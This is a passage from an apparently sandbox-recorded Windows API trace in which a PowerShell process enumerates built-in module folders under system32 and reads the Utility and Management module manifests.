nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0200.713] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule", lpFilePart=0x0) returned 0x48 [0200.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.713] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\TrustedPlatformModule" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\trustedplatformmodule"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.713] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.713] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0200.713] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", nBufferLength=0x37, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV", lpFilePart=0x0) returned 0x36 [0200.713] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.713] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\UEV" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\uev"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xe6de977b, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xfc9ca45b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe86cfe48, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.714] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0200.714] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient", lpFilePart=0x0) returned 0x3c [0200.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.714] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\VpnClient" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\vpnclient"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.714] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x38 [0200.714] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", nBufferLength=0x38, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac", lpFilePart=0x0) returned 0x37 [0200.714] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.714] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Wdac" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\wdac"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca67fa6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.714] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.714] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4b [0200.715] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", nBufferLength=0x4b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense", lpFilePart=0x0) returned 0x4a [0200.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.715] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsDeveloperLicense" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsdeveloperlicense"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca68f09, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.715] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x49 [0200.715] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", nBufferLength=0x49, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting", lpFilePart=0x0) returned 0x48 [0200.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.715] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsErrorReporting" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowserrorreporting"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca69a5d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb02464, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.715] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0200.715] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch", lpFilePart=0x0) returned 0x40 [0200.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.715] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsSearch" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowssearch"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9778acff, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9778acff, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.716] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0200.716] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", nBufferLength=0x41, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate", lpFilePart=0x0) returned 0x40 [0200.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0200.716] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\WindowsUpdate" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\windowsupdate"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e410 | out: lpFileInformation=0x5bfed4e410*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x182d775d, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfca6b8d6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1eb286c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0200.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2f0) returned 1 [0200.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.716] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0200.716] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0200.716] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704aa040 [0200.717] FindNextFileW (in: hFindFile=0x1ef704aa040, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc21280f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e89fdf5, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.717] FindNextFileW (in: hFindFile=0x1ef704aa040, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0200.717] FindNextFileW (in: hFindFile=0x1ef704aa040, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0200.718] FindNextFileW (in: hFindFile=0x1ef704aa040, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0200.718] FindClose (in: hFindFile=0x1ef704aa040 | out: hFindFile=0x1ef704aa040) returned 1 [0200.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.718] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0200.718] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0200.718] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0200.718] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0200.719] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0200.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.719] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003f20c0 | out: lpFileInformation=0x1ef003f20c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x983)) returned 1 [0200.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.719] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e360) returned 1 [0200.719] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0200.719] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0200.719] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\*", lpFindFileData=0x5bfed4e080 | out: lpFindFileData=0x5bfed4e080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704aa8e0 [0200.719] FindNextFileW (in: hFindFile=0x1ef704aa8e0, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1826502a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xfc1b1554, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1e879b93, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.720] FindNextFileW (in: hFindFile=0x1ef704aa8e0, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 1 [0200.720] FindNextFileW (in: hFindFile=0x1ef704aa8e0, lpFindFileData=0x5bfed4e040 | out: lpFindFileData=0x5bfed4e040*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Management.psd1", cAlternateFileName="")) returned 0 [0200.720] FindClose (in: hFindFile=0x1ef704aa8e0 | out: hFindFile=0x1ef704aa8e0) returned 1 [0200.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0200.720] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e260) returned 1 [0200.721] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1")) returned 0x20 [0200.721] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.721] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.721] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.721] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e380) returned 1 [0200.721] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1ef003f3390 | out: lpFileInformation=0x1ef003f3390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e33b205, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e33b205, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e33b205, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ea)) returned 1 [0200.721] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e340) returned 1 [0200.721] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x78 [0200.721] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", nBufferLength=0x78, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1", lpFilePart=0x0) returned 0x77 [0200.721] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e1a0) returned 1 [0200.721] CreateFileW (lpFileName="C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0200.722] GetFileType (hFile=0x7b0) returned 0x1 [0200.722] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e110) returned 1 [0200.722] GetFileType (hFile=0x7b0) returned 0x1 [0200.722] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4e168*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4e168*=0) returned 0x0 [0200.722] ReadFile (in: hFile=0x7b0, lpBuffer=0x1ef003f42e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x5bfed4e1e8, lpOverlapped=0x0 | out: lpBuffer=0x1ef003f42e0*, lpNumberOfBytesRead=0x5bfed4e1e8*=0x9ea, lpOverlapped=0x0) returned 1 [0200.723] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4e168*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4e168*=0) returned 0x9ea [0200.723] ReadFile (in: hFile=0x7b0, lpBuffer=0x1ef003f3832, nNumberOfBytesToRead=0x216, lpNumberOfBytesRead=0x5bfed4e1e8, lpOverlapped=0x0 | out: lpBuffer=0x1ef003f3832*, lpNumberOfBytesRead=0x5bfed4e1e8*=0x0, lpOverlapped=0x0) returned 1 [0200.723] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x5bfed4e168*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x5bfed4e168*=0) returned 0x9ea [0200.723] ReadFile 